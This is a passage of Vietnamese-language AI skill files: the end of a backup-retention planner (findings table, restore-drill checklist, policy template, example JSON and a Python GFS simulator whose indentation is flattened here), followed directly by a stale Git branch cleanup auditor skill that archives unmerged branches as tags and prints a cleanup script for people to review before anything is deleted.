| RESTORE_TEST_OLD | MEDIUM | Hệ thống thay đổi liên tục; bài kiểm tra từ mùa xuân năm ngoái không nói lên được nhiều điều về hiện tại | Diễn tập hàng quý; tự động khôi phục và kiểm tra checksum hàng tháng đối với dữ liệu quan trọng |
| NO_IMMUTABLE | MEDIUM | Ransomware và kẻ tấn công luôn xóa các bản sao lưu trước tiên | S3 Object Lock / Azure immutable blob / GCS bucket lock, hoặc một bản sao ngoại tuyến |
| NOT_ENCRYPTED | MEDIUM | Bản sao ngoài cơ sở sẽ làm lộ toàn bộ dữ liệu nếu bucket hoặc băng từ bị phơi bày | Mã hóa phía máy khách (client-side); khóa được lưu trữ bên ngoài hệ thống sao lưu và được ký quỹ (escrow) an toàn |
| STORAGE_OVER | MEDIUM | Ngân sách buộc ai đó phải cắt giảm thời gian lưu giữ một cách vội vàng về sau | Lưu trữ lạnh hơn cho các bậc cũ, giảm bớt các điểm hàng tháng, đo tỷ lệ thay đổi thực tế |
| TIER_GAP | LOW | Việc khôi phục rơi vào khoảng trống sẽ phải dùng điểm cũ hơn nhiều so với mong muốn | Thêm các điểm hàng tuần hoặc kéo dài các điểm hàng ngày |
| TIGHT_WINDOW | LOW | Sự gia tăng dữ liệu sẽ đẩy tác vụ vào tình trạng chồng chéo | Lên kế hoạch sao lưu tăng dần hoặc song song trước khi điều đó xảy ra |
## Diễn tập khôi phục (một trang)
1. Chọn một điểm khôi phục ngẫu nhiên, không phải điểm mới nhất.
2. Khôi phục vào một môi trường cô lập chỉ sử dụng sổ tay vận hành (runbook) và các khóa được ký quỹ.
3. Kiểm tra: số lượng hàng hoặc số lượng tệp, ứng dụng khởi động được, một bản ghi đã biết từ ngày đó có tồn tại.
4. Ghi lại thời gian bắt đầu và kết thúc (RTO thực tế), các vấn đề gặp phải và những điểm cần sửa trong sổ tay vận hành.
5. Xóa bản sao đã khôi phục và ghi nhận ngày diễn tập; trường `last_restore_test` của trình lập kế hoạch chính là ngày này.
## Giám sát
- Cảnh báo khi bản sao lưu mới nhất cũ hơn 1,5 lần khoảng cách định kỳ.
- Cảnh báo khi có các tác vụ thất bại hoặc chỉ hoàn thành một phần, chứ không chỉ khi thiếu bản sao lưu.
- Theo dõi kích thước bản sao lưu mỗi lần chạy; sự sụt giảm đột ngột thường có nghĩa là đường dẫn bao gồm (include path) bị hỏng, sự tăng vọt đột ngột có thể là dấu hiệu bị ransomware mã hóa.
- Kiểm tra xem các tác vụ prune/forget có chạy hay không; một chính sách không bao giờ được thực thi sẽ âm thầm làm đầy bộ nhớ.
## Khóa và quyền truy cập
- Thông tin xác thực sao lưu nên chỉ có quyền ghi (write-only) từ phía nguồn ở những nơi có thể; việc xóa cần một định danh khác.
- Giữ các khóa mã hóa và sổ tay vận hành khôi phục ở nơi vẫn tồn tại được ngay cả khi mất môi trường chính (kho lưu trữ của trình quản lý mật khẩu, bản in niêm phong).
FILE:templates/backup-policy.md
# Chính sách Sao lưu - <system name>
**Chủ sở hữu:** <team / person> **Đã xem xét:** <date> **Lần xem xét tiếp theo:** <date + 6 months>
## Phạm vi
- Dữ liệu: <databases, buckets, file shares, configs>
- Loại trừ: <caches, rebuildable artifacts>
## Yêu cầu
| Hạng mục | Mục tiêu | Nguồn yêu cầu |
|---|---|---|
| RPO (mức mất dữ liệu tối đa) | <4 h> | <business owner> |
| RTO (thời gian khôi phục tối đa) | <2 h> | <business owner> |
| Lịch sử tối thiểu | <35 days> | <ops> |
| Lưu giữ pháp lý / theo hợp đồng | <3 years> | <contract, regulation> |
| Ngân sách lưu trữ | <1500 GB / 40 USD per month> | <finance> |
## Lịch trình và quy tắc giữ lại
| Tác vụ | Tần suất | Phương thức | Quy tắc giữ lại |
|---|---|---|---|
| <full/incremental> | <daily 02:00> | <pgBackRest incr to S3> | <daily 14, weekly 8, monthly 12, yearly 5> |
| <log shipping> | <continuous> | <WAL archive> | <14 days> |
Các điểm khôi phục được tạo ra (từ `scripts/retention_plan.py`): <count>, bản cũ nhất <age>, khoảng trống lớn nhất <days>.
## Các bản sao (3-2-1-1-0)
| Bản sao | Vị trí | Bất biến | Mã hóa | Thông tin xác thực |
|---|---|---|---|---|
| Bản sao lưu chính | <region A bucket> | <no> | <yes> | <backup-writer role> |
| Ngoài cơ sở (Offsite) | <region B / provider B> | <object lock 35 d> | <yes> | <separate account> |
## Dung lượng lưu trữ và chi phí
- Hiện tại: <GB> / <cost per month> - Sau 12 tháng: <GB> / <cost per month>
## Kiểm thử khôi phục
- Tần suất: <quarterly drill, monthly automated check>
- Lần kiểm thử gần nhất: <date>, kết quả <ok / issues>, RTO thực tế <time>
- Sổ tay vận hành (Runbook): <link> - Khóa được ký quỹ tại: <location>
## Giám sát và cảnh báo
- <newest backup older than 36 h -> page on-call>
- <job failed / size change > 30% -> ticket>
## Các phát hiện đang mở
- <severity code: action, owner, due date>
FILE:examples/clinic-postgres-policy.json
{
"name": "clinic-booking PostgreSQL (pgBackRest to S3)",
"today": "2026-10-24",
"backup_interval_hours": 24,
"backup_duration_hours": 2.5,
"policy": {"daily": 7, "weekly": 4, "monthly": 6, "yearly": 0},
"size": {"full_gb": 180, "daily_change_pct": 3, "growth_pct_per_month": 4, "storage_model": "incremental"},
"requirements": {
"rpo_hours": 4,
"min_history_days": 90,
"legal_retention_years": 3,
"max_storage_gb": 1500,
"restore_test_max_age_days": 90
},
"copies": {"onsite": false, "offsite": true, "immutable": false, "encrypted": true},
"price_per_gb_month": 0.023,
"currency": "USD",
"last_restore_test": "2026-04-14"
}
FILE:scripts/retention_plan.py
#!/usr/bin/env python3
"""Backup retention policy planner (Python 3 standard library only).
Simulates a grandfather-father-son (GFS) retention policy the way restic/borg "keep" rules
work, then reports the restore points you really keep, the gaps between them, storage and
cost, and the gaps against your requirements (RPO, minimum history, legal retention, 3-2-1).
Input JSON:
{"name": "orders-db", "today": "2026-10-24",
"backup_interval_hours": 24, "backup_duration_hours": 1.5,
"policy": {"hourly": 0, "daily": 7, "weekly": 4, "monthly": 12, "yearly": 3},
"size": {"full_gb": 120, "daily_change_pct": 4, "growth_pct_per_month": 3,
"storage_model": "incremental"}, # or "full" (every point is a full copy)
"requirements": {"rpo_hours": 24, "min_history_days": 35, "legal_retention_years": 0,
"max_storage_gb": 0, "restore_test_max_age_days": 90},
"copies": {"onsite": true, "offsite": true, "immutable": false, "encrypted": true},
"price_per_gb_month": 0.023, "currency": "USD",
"last_restore_test": "2026-03-02"} # or null if never tested
Selection rule per tier (newest backup first): keep a backup if its bucket (hour, day, ISO week,
month, year) differs from the previous kept bucket of that tier, until the tier count is used.
A backup kept by several tiers is stored once.
Storage: "full" = points x full size; "incremental" = one full + each later point's changed data
(daily_change_pct x days since the previous kept point, capped at 100%).
Findings (severity):
HIGH RPO_MISSED backup interval longer than the RPO
HIGH HISTORY_SHORT oldest restore point younger than min_history_days
HIGH LEGAL_RETENTION oldest point younger than legal_retention_years
HIGH NO_OFFSITE no offsite copy (breaks 3-2-1)
HIGH NEVER_RESTORED no restore test recorded
HIGH OVERLAP backup takes longer than the interval
MEDIUM RESTORE_TEST_OLD last restore test older than restore_test_max_age_days
MEDIUM NO_IMMUTABLE no immutable/air-gapped copy (ransomware can delete backups)
MEDIUM STORAGE_OVER storage (now or in 12 months) above max_storage_gb
MEDIUM NOT_ENCRYPTED offsite copy not encrypted
LOW TIER_GAP a coarse tier starts long after the finer tier ends (e.g. weekly
4 then monthly: weeks 5-8 have one point a month)
LOW TIGHT_WINDOW backup duration above 50% of the interval
Usage:
python3 retention_plan.py policy.json
python3 retention_plan.py policy.json --json
python3 retention_plan.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import datetime as dt
import json
import sys
TIERS = ["hourly", "daily", "weekly", "monthly", "yearly"]
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def bucket(tier, t):
if tier == "hourly":
return t.strftime("%Y-%m-%d %H")
if tier == "daily":
return t.date().isoformat()
if tier == "weekly":
y, w, _ = t.isocalendar()
return f"{y}-W{w:02d}"
if tier == "monthly":
return t.strftime("%Y-%m")
return str(t.year)
def simulate(policy, interval_h, today):
"""Return (kept list of (datetime, [tiers])) newest first."""
for k in policy:
if k not in TIERS:
raise DataError(f"unknown policy tier '{k}' (use {', '.join(TIERS)})")
if not isinstance(policy[k], int) or policy[k] < 0:
raise DataError(f"policy.{k} must be a whole number >= 0")
if sum(policy.get(t, 0) for t in TIERS) == 0:
raise DataError("policy keeps nothing")
if not interval_h or interval_h <= 0:
raise DataError("backup_interval_hours must be > 0")
span_days = max(policy.get("hourly", 0) / 24, policy.get("daily", 0), policy.get("weekly", 0) * 7,
policy.get("monthly", 0) * 31, policy.get("yearly", 0) * 366) + 400
newest = dt.datetime.combine(today, dt.time(2, 0))
step = dt.timedelta(hours=interval_h)
n = int(span_days * 24 / interval_h) + 1
times = [newest - i * step for i in range(n)]
kept = {}
for tier in TIERS:
want = policy.get(tier, 0)
last = None
for t in times:
if want == 0:
break
b = bucket(tier, t)
if b != last:
kept.setdefault(t, []).append(tier)
last = b
want -= 1
return sorted(kept.items(), key=lambda kv: kv[0], reverse=True)
def storage_gb(kept, size):
full = float(size.get("full_gb", 0))
model = size.get("storage_model", "incremental")
if model not in ("incremental", "full"):
raise DataError("size.storage_model must be 'incremental' or 'full'")
if model == "full":
return full * len(kept)
change = float(size.get("daily_change_pct", 5)) / 100
total = full
for (newer, _), (older, _) in zip(kept, kept[1:]):
days = (newer - older).total_seconds() / 86400
total += full * min(1.0, change * days)
return total
def plan(cfg, today=None):
try:
today = today or dt.date.fromisoformat(cfg.get("today") or dt.date.today().isoformat())
except ValueError:
raise DataError("today must be YYYY-MM-DD")
policy = cfg.get("policy") or {}
interval = float(cfg.get("backup_interval_hours", 24))
kept = simulate(policy, interval, today)
newest = kept[0][0]
ages = [(newest - t).total_seconds() / 86400 for t, _ in kept]
oldest_days = ages[-1]
size = cfg.get("size") or {}
req = cfg.get("requirements") or {}
copies = cfg.get("copies") or {}
price = float(cfg.get("price_per_gb_month", 0))
gb = storage_gb(kept, size)
growth = float(size.get("growth_pct_per_month", 0)) / 100
gb12 = gb * (1 + growth) ** 12
tiers = []
for tier in TIERS:
pts = [(t, a) for (t, tl), a in zip(kept, ages) if tier in tl]
if pts:
tiers.append({"tier": tier, "count": len(pts), "newest_age_days": round(pts[0][1], 1),
"oldest_age_days": round(pts[-1][1], 1)})
gaps = []
for (t1, _), (t2, _), a in zip(kept, kept[1:], ages[1:]):
gaps.append({"from": t2.date().isoformat(), "to": t1.date().isoformat(),
"gap_days": round((t1 - t2).total_seconds() / 86400, 1), "age_days": round(a, 1)})
findings = []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
rpo = req.get("rpo_hours")
if rpo and interval > rpo:
add("HIGH", "RPO_MISSED", f"backups every {interval:g} h but RPO is {rpo:g} h; up to {interval:g} h of data can be lost")
mh = req.get("min_history_days")
if mh and oldest_days < mh:
add("HIGH", "HISTORY_SHORT", f"oldest restore point is {oldest_days:.0f} days old; requirement is {mh} days")
ly = req.get("legal_retention_years")
if ly and oldest_days < ly * 365:
add("HIGH", "LEGAL_RETENTION", f"oldest point {oldest_days / 365:.1f} years; legal retention needs {ly} years; yearly N also counts the current year, so set yearly >= {ly + 2} to cover it all year round")
if not copies.get("offsite"):
add("HIGH", "NO_OFFSITE", "no offsite copy; a site loss, account compromise or region outage takes every backup")
dur = cfg.get("backup_duration_hours")
if dur and dur > interval:
add("HIGH", "OVERLAP", f"backup takes {dur:g} h but runs every {interval:g} h; jobs overlap or get skipped")
elif dur and dur > interval / 2:
add("LOW", "TIGHT_WINDOW", f"backup takes {dur:g} h of a {interval:g} h interval; growth will push it into overlap")
lrt = cfg.get("last_restore_test")
max_age = req.get("restore_test_max_age_days", 90)
if not lrt:
add("HIGH", "NEVER_RESTORED", "no restore test recorded; an untested backup is a hope, not a backup")
else:
age = (today - dt.date.fromisoformat(lrt)).days
if age > max_age:
add("MEDIUM", "RESTORE_TEST_OLD", f"last restore test {age} days ago (limit {max_age}); schedule a timed restore")
if not copies.get("immutable"):
add("MEDIUM", "NO_IMMUTABLE", "no immutable or air-gapped copy; ransomware or a stolen admin key can delete every backup")
if copies.get("offsite") and copies.get("encrypted") is False:
add("MEDIUM", "NOT_ENCRYPTED", "offsite copy is not encrypted at rest")
mx = req.get("max_storage_gb")
if mx and max(gb, gb12) > mx:
add("MEDIUM", "STORAGE_OVER", f"storage {gb:.0f} GB now, {gb12:.0f} GB in 12 months; budget {mx} GB")
order = [t for t in TIERS if policy.get(t, 0) > 0]
span = {"hourly": 1 / 24, "daily": 1, "weekly": 7, "monthly": 30.4, "yearly": 365}
for fine, coarse in zip(order, order[1:]):
fine_end = policy[fine] * span[fine]
if span[coarse] >= 4 * fine_end and fine != "hourly":
add("LOW", "TIER_GAP", f"{fine} points cover ~{fine_end:.0f} days, then only one {coarse} point per {span[coarse]:.0f} days")
findings.sort(key=lambda f: SEV_ORDER[f["severity"]])
return {
"name": cfg.get("name", "backup set"), "today": today.isoformat(), "interval_hours": interval,
"restore_points": len(kept), "oldest_age_days": round(oldest_days, 1),
"tiers": tiers, "largest_gaps": sorted(gaps, key=lambda g: -g["gap_days"])[:5],
"storage_gb": round(gb, 1), "storage_gb_12m": round(gb12, 1),
"monthly_cost": round(gb * price, 2), "monthly_cost_12m": round(gb12 * price, 2),
"currency": cfg.get("currency", "USD"), "storage_model": size.get("storage_model", "incremental"),
"kept": [{"time": t.strftime("%Y-%m-%d %H:%M"), "tiers": tl} for t, tl in kept],
"findings": findings,
}
def age_label(d):
if d < 2:
return f"{d * 24:.0f} h"
if d < 60:
return f"{d:.0f} d"
if d < 730:
return f"{d / 30.4:.1f} mo"
return f"{d / 365:.1f} y"
def render(r):
out = [f"# Backup retention plan: {r['name']} (as of {r['today']})", "",
f"Backups every {r['interval_hours']:g} h -> {r['restore_points']} restore points kept, oldest {age_label(r['oldest_age_days'])} old",
f"Storage ({r['storage_model']}): {r['storage_gb']:.0f} GB now, {r['storage_gb_12m']:.0f} GB in 12 months"
f" -> {r['monthly_cost']:.2f} -> {r['monthly_cost_12m']:.2f} {r['currency']}/month", "",
"| Tier | Points | Newest age | Oldest age |", "|---|---|---|---|"]
for t in r["tiers"]:
out.append(f"| {t['tier']} | {t['count']} | {age_label(t['newest_age_days'])} | {age_label(t['oldest_age_days'])} |")
out += ["", "## Largest gaps between restore points", "| Older point | Newer point | Gap | Age of older point |", "|---|---|---|---|"]
for g in r["largest_gaps"]:
out.append(f"| {g['from']} | {g['to']} | {g['gap_days']:g} d | {age_label(g['age_days'])} |")
out += ["", "## Restore points kept"]
out.append(", ".join(f"{k['time'][:10]} ({'/'.join(x[0].upper() for x in k['tiers'])})" for k in r["kept"]))
out += ["", "## Findings"]
if not r["findings"]:
out.append("- none")
for f in r["findings"]:
out.append(f"- {f['severity']} {f['code']}: {f['message']}")
return "\n".join(out) + "\n"
def self_test():
ok = 0
tests = []
def check(name, cond):
nonlocal ok
tests.append(name)
print(("PASS " if cond else "FAIL ") + name)
ok += bool(cond)
today = dt.date(2026, 10, 24)
base = {"today": "2026-10-24", "backup_interval_hours": 24, "policy": {"daily": 7, "weekly": 4, "monthly": 12},
"size": {"full_gb": 100, "daily_change_pct": 2}, "requirements": {"rpo_hours": 24, "min_history_days": 35},
"copies": {"offsite": True, "immutable": True, "encrypted": True}, "last_restore_test": "2026-10-01"}
r = plan(base, today)
# daily 7 = 7 newest days; weekly 4 overlaps with dailies; monthly 12
check("daily 7 + weekly 4 + monthly 12 -> 20 distinct points", r["restore_points"] == 20)
check("clean policy has no findings", r["findings"] == [])
check("oldest point is the 2025-11-30 monthly", r["kept"][-1]["time"].startswith("2025-11-30"))
k = simulate({"daily": 3}, 24, today)
check("daily 3 keeps 3 newest days", [t.date().day for t, _ in k] == [24, 23, 22])
k = simulate({"hourly": 6}, 1, today)
check("hourly 6 keeps 6 points one hour apart", len(k) == 6 and (k[0][0] - k[5][0]) == dt.timedelta(hours=5))
k = simulate({"weekly": 2}, 24, today)
check("weekly keeps newest of each ISO week", [t.date().isoformat() for t, _ in k] == ["2026-10-24", "2026-10-18"])
k = simulate({"monthly": 2}, 24, today)
check("monthly keeps last day of previous month", [t.date().isoformat() for t, _ in k] == ["2026-10-24", "2026-09-30"])
k = simulate({"daily": 2, "weekly": 1}, 24, today)
check("point kept by two tiers stored once", len(k) == 2 and k[0][1] == ["daily", "weekly"])
k = simulate({"daily": 7}, 12, today)
check("12 h interval: daily keeps newest per day", len(k) == 7 and [t.hour for t, _ in k[:2]] == [2, 14])
check("full storage = points x full", storage_gb([(dt.datetime(2026, 1, 2), []), (dt.datetime(2026, 1, 1), [])], {"full_gb": 50, "storage_model": "full"}) == 100)
check("incremental storage = full + change x days", abs(storage_gb([(dt.datetime(2026, 1, 11), []), (dt.datetime(2026, 1, 1), [])], {"full_gb": 100, "daily_change_pct": 2}) - 120) < 1e-9)
check("incremental change capped at 100%", storage_gb([(dt.datetime(2026, 6, 1), []), (dt.datetime(2026, 1, 1), [])], {"full_gb": 10, "daily_change_pct": 5}) == 20)
def codes(**over):
c = json.loads(json.dumps(base))
for key, val in over.items():
if key != "policy" and isinstance(val, dict) and isinstance(c.get(key), dict):
c[key].update(val)
else:
c[key] = val
return {f["code"] for f in plan(c, today)["findings"]}
check("RPO missed HIGH", "RPO_MISSED" in codes(requirements={"rpo_hours": 4}))
check("history short HIGH", "HISTORY_SHORT" in codes(policy={"daily": 14}))
check("legal retention HIGH", "LEGAL_RETENTION" in codes(requirements={"legal_retention_years": 7}))
check("yearly 9 satisfies legal 7, yearly 8 does not", "LEGAL_RETENTION" in codes(policy={"daily": 7, "monthly": 12, "yearly": 8}, requirements={"legal_retention_years": 7}) and "LEGAL_RETENTION" not in codes(policy={"daily": 7, "monthly": 12, "yearly": 9}, requirements={"legal_retention_years": 7}))
check("no offsite HIGH", "NO_OFFSITE" in codes(copies={"offsite": False}))
check("never restored HIGH", "NEVER_RESTORED" in codes(last_restore_test=None))
check("restore test old MEDIUM", "RESTORE_TEST_OLD" in codes(last_restore_test="2026-01-01"))
check("no immutable MEDIUM", "NO_IMMUTABLE" in codes(copies={"immutable": False}))
check("not encrypted MEDIUM", "NOT_ENCRYPTED" in codes(copies={"encrypted": False}))
check("overlap HIGH", "OVERLAP" in codes(backup_duration_hours=30))
check("tight window LOW", "TIGHT_WINDOW" in codes(backup_duration_hours=14))
check("storage over MEDIUM", "STORAGE_OVER" in codes(requirements={"max_storage_gb": 150}))
check("tier gap LOW (daily 7 then monthly)", "TIER_GAP" in codes(policy={"daily": 7, "monthly": 12}))
try:
plan({"policy": {"daily": 0}}, today)
check("empty policy rejected", False)
except DataError:
check("empty policy rejected", True)
try:
plan({"policy": {"fortnightly": 2}}, today)
check("unknown tier rejected", False)
except DataError:
check("unknown tier rejected", True)
print(f"{ok}/{len(tests)} passed")
return 0 if ok == len(tests) else 1
def main():
ap = argparse.ArgumentParser(description="Backup retention (GFS) policy planner")
ap.add_argument("policy", nargs="?", help="policy JSON file")
ap.add_argument("--json", action="store_true", help="print JSON instead of Markdown")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.policy:
ap.error("policy file required")
try:
with open(a.policy, encoding="utf-8") as fh:
cfg = json.load(fh)
r = plan(cfg)
except (OSError, json.JSONDecodeError, DataError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else render(r), end="" if not a.json else "\n")
return 1 if any(f["severity"] == "HIGH" for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Kiểm toán các nhánh từ xa (remote branch) của kho lưu trữ và lập kế hoạch dọn dẹp an toàn. Phân loại từng nhánh thành xóa (đã gộp, đã squash-merge hoặc trống), lưu trữ rồi xóa (công việc chưa gộp bị bỏ không), hỏi chủ sở hữu, PR đang mở, đang hoạt động hoặc được bảo vệ, đồng thời nhóm các yêu cầu hỏi theo tác giả. Đánh dấu các tên trùng lặp không phân biệt hoa thường, PR cũ, các nhánh tụt hậu quá xa so với main, các nhánh tồn tại lâu và tên đặt sai quy cách, đồng thời in ra kịch bản gắn thẻ rồi xóa có thể xem xét trước. Bao gồm một trình kiểm toán Python dùng thư viện chuẩn với tùy chọn --self-test.
---
name: stale-git-branch-cleanup-auditor
description: Kiểm toán các nhánh từ xa (remote branch) của kho lưu trữ và lập kế hoạch dọn dẹp an toàn. Phân loại từng nhánh thành xóa (đã gộp, đã squash-merge hoặc trống), lưu trữ rồi xóa (công việc chưa gộp bị bỏ không), hỏi chủ sở hữu, PR đang mở, đang hoạt động hoặc được bảo vệ, đồng thời nhóm các yêu cầu hỏi theo tác giả. Đánh dấu các tên trùng lặp không phân biệt hoa thường, PR cũ, các nhánh tụt hậu quá xa so với main, các nhánh tồn tại lâu và tên đặt sai quy cách, đồng thời in ra kịch bản gắn thẻ rồi xóa có thể xem xét trước. Bao gồm một trình kiểm toán Python dùng thư viện chuẩn với tùy chọn --self-test.
---
# Trình kiểm toán dọn dẹp nhánh Git cũ
Bạn giúp các nhóm dọn dẹp hàng chục hoặc hàng trăm nhánh bị lãng quên trên một remote dùng chung mà không làm mất công việc của bất kỳ ai. Bạn quyết định, từng nhánh một, nhánh nào an toàn để xóa, nhánh nào nên được lưu trữ dưới dạng thẻ (tag) trước, và ai cần được hỏi ý kiến, sau đó tạo ra một kịch bản dọn dẹp để mọi người xem xét trước khi bất kỳ thứ gì bị gỡ bỏ.
## Các tệp trong kỹ năng này
- `scripts/branch_audit.py` - phân loại các nhánh từ xa từ tệp xuất TSV hoặc CSV hoặc trực tiếp từ bản clone cục bộ (`--repo`), in ra các phát hiện, danh sách chủ sở hữu và kịch bản dọn dẹp (chỉ dùng thư viện chuẩn Python 3; không bao giờ tự xóa bất kỳ thứ gì)
- `references/cleanup-rules.md` - các quy tắc quyết định, phát hiện squash-merge, thẻ lưu trữ, nhánh được bảo vệ, quy ước đặt tên và cách khôi phục nhánh đã xóa
- `references/exporting-branch-data.md` - các lệnh git và GitHub/GitLab để tạo dữ liệu đầu vào, bao gồm cả trạng thái PR
- `templates/cleanup-announcement.md` - thông báo cho nhóm kèm theo kế hoạch, các câu hỏi dành cho chủ sở hữu và thời hạn chót
- `examples/webshop-branches.csv` - 16 nhánh của kho lưu trữ cửa hàng trực tuyến với các nhánh đã gộp, đã squash-merge, cũ, xung đột tên và được bảo vệ
## Quy trình làm việc
### 1. Lấy dữ liệu nhánh
Ưu tiên: một bản clone cục bộ mới (`git fetch --prune origin`) và chạy kịch bản với `--repo`. Hỏi nhánh cơ sở (main, master hoặc develop), trạng thái PR từ `gh pr list` hoặc GitLab API (squash merge không thể thấy được trong lịch sử git), các mẫu nhánh được bảo vệ và quy ước đặt tên của nhóm. Nếu họ dán một danh sách thay thế, hãy chuyển đổi nó thành các cột CSV trong `references/exporting-branch-data.md`.
### 2. Chạy trình kiểm toán
```
python3 scripts/branch_audit.py examples/webshop-branches.csv --today 2026-10-24
python3 scripts/branch_audit.py --repo . --base main --prs prs.tsv --stale-days 90 --ask-days 30
python3 scripts/branch_audit.py --self-test
```
Mã thoát 1 có nghĩa là có các phát hiện mức HIGH, 2 có nghĩa là đầu vào không hợp lệ.
### 3. Xem xét cùng người dùng
Đi qua các hành động theo thứ tự sau: DELETE_MERGED (an toàn, công việc đã nằm trong nhánh cơ sở), ARCHIVE_AND_DELETE (có thể khôi phục từ thẻ lưu trữ), ASK_OWNER (cần câu trả lời), sau đó là các phát hiện. Sửa lỗi CASE_COLLISION trước tiên vì nó làm hỏng các bản clone trên macOS và Windows. Điều chỉnh các ngưỡng theo tốc độ làm việc của nhóm (một kho lưu trữ nghiên cứu có thể muốn 180 ngày không hoạt động). Sử dụng `references/cleanup-rules.md` để giải thích từng quyết định.
### 4. Bàn giao
Điền vào `templates/cleanup-announcement.md` với số lượng thống kê, danh sách theo từng chủ sở hữu và thời hạn chót (thường là 7 ngày). Bàn giao kịch bản đã tạo cùng với lời khuyên nên chạy các dòng DELETE_MERGED trước và các dòng lưu trữ sau thời hạn chót.
## Kết quả ví dụ
Đối với `examples/webshop-branches.csv` (tính đến 2026-10-24, cũ 90 ngày, hỏi 30 ngày): 16 nhánh -> 3 xóa (đã gộp, PR đã squash-merge, không có commit nào đi trước), 3 lưu trữ và xóa (spike/graphql-gateway, feature/gift-cards, johns-test), 2 hỏi chủ sở hữu, 3 PR đang mở, 1 đang hoạt động, 4 được bảo vệ. Các phát hiện: HIGH CASE_COLLISION (fix/search-timeout so với fix/Search-Timeout), MEDIUM PR_STALE (feature/checkout-redesign, không hoạt động 205 ngày), 3 MEDIUM FAR_BEHIND, 2 LOW BAD_NAME, 2 LOW LONG_LIVED, LOW OLD_PROTECTED (release/2.3).
## Quy tắc
- Không bao giờ tự ý xóa các nhánh và không bao giờ chạy kịch bản thay cho người dùng; hãy in kịch bản ra để họ xem xét.
- Công việc chưa gộp sẽ được lưu trữ dưới dạng thẻ (`archive/<branch>`) trước khi nhánh bị xóa, để có thể khôi phục lại.
- Squash merge và rebase merge khiến nhánh trông như "chưa gộp" trong git; hãy tin tưởng trạng thái PR chứ không chỉ dựa vào `--merged`.
- Các nhánh được bảo vệ, nhánh phát hành (release) và nhánh cơ sở (base) không bao giờ nằm trong danh sách xóa, ngay cả khi chúng có vẻ không hoạt động.
- Hỏi ý kiến chủ sở hữu trước khi chạm vào công việc chưa gộp và đưa ra thời hạn chót rõ ràng.
FILE:references/cleanup-rules.md
# Quy tắc dọn dẹp
## Thứ tự quyết định (khớp đầu tiên sẽ được áp dụng)
| Hành động | Điều kiện | Tại sao an toàn hoặc không an toàn |
|---|---|---|
| KEEP_PROTECTED | khớp với `--protect` (main, master, develop, trunk, gh-pages, release/*, hotfix/*) | Các đợt triển khai, bảo trì bản phát hành và quy tắc bảo vệ nhánh phụ thuộc vào chúng |
| DELETE_MERGED | có thể truy cập từ nhánh cơ sở, 0 commit đi trước, hoặc PR của nó đã được gộp | Mọi commit (hoặc bản tương đương đã squash của nó) đều đã nằm trong nhánh cơ sở |
| KEEP_OPEN_PR | yêu cầu pull/merge đang mở | Xóa nhánh sẽ đóng PR; hãy hỏi ý kiến thay vì xóa (xem PR_STALE) |
| ARCHIVE_AND_DELETE | chưa gộp và không hoạt động >= số ngày cũ (mặc định 90) | Các commit duy nhất: gắn thẻ trước để công việc có thể khôi phục được |
| ASK_OWNER | chưa gộp và không hoạt động >= số ngày cần hỏi (mặc định 30) | Có thể vẫn đang được sử dụng; chủ sở hữu sẽ quyết định |
| KEEP_ACTIVE | chưa gộp, có các commit gần đây | Công việc đang tiến hành |
"Không hoạt động" (Idle) là ngày committer của commit đầu mút nhánh. Thao tác rebase sẽ cập nhật ngày này, vì vậy một nhánh được rebase ngày hôm qua vẫn được tính là đang hoạt động ngay cả khi không ai làm việc trên đó trong nhiều tháng.
## Squash merge và rebase merge
`git branch -r --merged main` chỉ tìm thấy các nhánh có commit đầu mút nằm trong main. Khi một PR được squash-merge hoặc rebase-merge, main nhận các commit mới còn nhánh đó trông vẫn như chưa gộp với N commit đi trước. Hãy sử dụng trạng thái PR (`pr = merged`) để bắt các trường hợp này. Nếu không có dữ liệu PR, hãy kiểm tra thủ công:
```
git diff --stat origin/main...origin/<branch> # trống hoặc rất nhỏ = các thay đổi đã có trong main
git log --oneline origin/main --grep "<PR title or number>"
```
Một PR đã đóng (nhưng không gộp) với các commit cũ là công việc đã bị từ bỏ: hãy lưu trữ nó.
## Thẻ lưu trữ
```
git tag archive/<branch> origin/<branch>
git push origin refs/tags/archive/<branch>
git push origin --delete <branch>
```
Khôi phục sau này bằng lệnh `git push origin archive/<branch>:refs/heads/<branch>`. Các thẻ giúp giữ cho các commit tồn tại mãi mãi (không bị dọn rác - garbage collection). Nếu các thẻ lưu trữ làm rối danh sách thẻ, hãy đẩy chúng lên một remote lưu trữ riêng biệt.
Đã xóa mà không gắn thẻ? Trên GitHub, một nhánh bị xóa khỏi trang PR có thể được khôi phục từ PR đó trong một khoảng thời gian; nếu không, bản clone cục bộ của ai đó hoặc `git reflog` trên bản sao (mirror) phía máy chủ là cách duy nhất để lấy lại. Đó là lý do tại sao kịch bản luôn gắn thẻ trước.
## Các phát hiện
| Mã | Mức độ nghiêm trọng | Ý nghĩa | Hành động |
|---|---|---|---|
| CASE_COLLISION | HIGH | `fix/Login` và `fix/login` cùng tồn tại; hệ thống tệp không phân biệt hoa thường lưu trữ các tham chiếu (ref) dưới dạng tệp, nên thao tác fetch sẽ thất bại hoặc một tham chiếu sẽ che khuất tham chiếu kia | Xóa hoặc đổi tên một nhánh ngay hôm nay |
| PR_STALE | MEDIUM | PR đang mở không có commit nào trong >= số ngày cũ | Chủ sở hữu hoàn thiện, tách nhỏ hoặc đóng nó |
| FAR_BEHIND | MEDIUM | Nhánh chưa gộp tụt hậu > 300 commit so với nhánh cơ sở | Sớm rebase/merge nhánh cơ sở hoặc lưu trữ; xung đột sẽ tăng lên mỗi ngày |
| LONG_LIVED | LOW | > 50 commit chưa gộp và không hoạt động >= số ngày cần hỏi | Tách thành các PR nhỏ hơn; ẩn phần công việc chưa hoàn thành sau một cờ tính năng (feature flag) |
| OLD_PROTECTED | LOW | release/* hoặc hotfix/* không hoạt động >= số ngày cũ | Gắn thẻ cho bản phát hành (`v2.3.x`), gỡ bảo vệ, rồi xóa |
| BAD_NAME | LOW | Không có tiền tố `<type>/` được phép, hoặc chứa chữ hoa/khoảng trắng | Đổi tên thành `feature/...`, `fix/...`, `chore/...` |
## Quy ước đặt tên
